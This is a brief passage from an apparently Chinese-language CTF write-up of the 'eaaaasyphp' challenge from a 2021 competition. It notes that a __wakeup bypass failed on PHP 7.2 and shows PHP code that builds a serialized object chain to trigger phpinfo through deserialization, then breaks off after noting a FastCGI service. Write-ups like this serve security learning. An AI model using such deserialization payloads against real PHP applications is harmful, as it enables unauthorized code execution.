2021陇原抗疫

eaaaasyphp

一开始眼睛只看到hint了，疯狂试绕wakeup，发现没反应，才知道原来是php7.2版本的，要利用其他地方的类读bypass

$a=new Esle();
$b=new Bypass();
$b->str4='phpinfo';
$a->c=$b;
echo serialize($a);

发现api服务是fastcgi，